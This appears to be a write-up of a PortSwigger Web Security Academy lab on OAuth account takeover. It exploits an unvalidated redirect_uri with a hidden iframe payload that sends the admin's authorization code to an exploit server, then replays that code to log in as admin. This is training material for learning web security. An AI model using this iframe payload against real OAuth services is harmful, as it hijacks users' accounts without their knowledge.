| Field | Detail |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | OAuth 2.0 Authentication |
| Difficulty | Practitioner |
| Objective | Steal the admin user's authorization code by manipulating redirect_uri, then use it to authenticate as admin and delete carlos |
OAuth Account Hijacking via redirect_uri¶
I logged in as wiener:peter and proxied the full OAuth flow. The authorization request:
GET /auth?client_id=i9r2u6057b2x7e3x8lkgu&redirect_uri=https://0a21003003c0c19d805a031e00f50036.web-security-academy.net/oauth-callback&response_type=code&scope=openid%20profile%20email HTTP/1.1
Host: oauth-0a5500d003a1c1e6801f01f202720035.oauth-server.net
After the consent screen the authorization code landed at /oauth-callback on the blog domain:
response_type=code means this is the authorization code flow — the code is passed via the browser to whatever domain is in redirect_uri. That parameter is the entire security boundary: the code is only as safe as the destination it's sent to. If the provider doesn't validate it against a whitelist, any URI works.
Sending the authorization request to Repeater and swapping redirect_uri to an arbitrary domain:
No error — the provider redirected the code to teto.com without complaint.
Confirming the pipeline works by pointing redirect_uri at the exploit server:
Code arrived in the exploit server logs. I delivered a payload on the exploit server that silently initiates the OAuth flow in the admin's browser with our server as the destination:
<iframe src="https://oauth-0a5500d003a1c1e6801f01f202720035.oauth-server.net/auth?client_id=i9r2u6057b2x7e3x8lkgu&redirect_uri=https://exploit-0ae600920307c1b9809502ae017600ba.exploit-server.net/oauth-callback&response_type=code&scope=openid%20profile%20email"></iframe>
Since the admin already had an active session with the OAuth service, they didn't need to enter credentials — the flow completed silently inside the iframe and the browser followed the redirect to our server with the admin's code in the URL. The admin never saw anything, clicked anything, or approved anything.
The code landed on our server rather than on /oauth-callback — so nothing consumed it. I logged out of wiener's account and navigated directly to the legitimate callback with the stolen code:
https://0a21003003c0c19d805a031e00f50036.web-security-academy.net/oauth-callback?code=f_s_uzFyTDIe09v_I1sg9rDF-T4zadRdxalGfsbylFd
The blog completed the code exchange and logged me in as admin.
Deleted carlos and Lab solved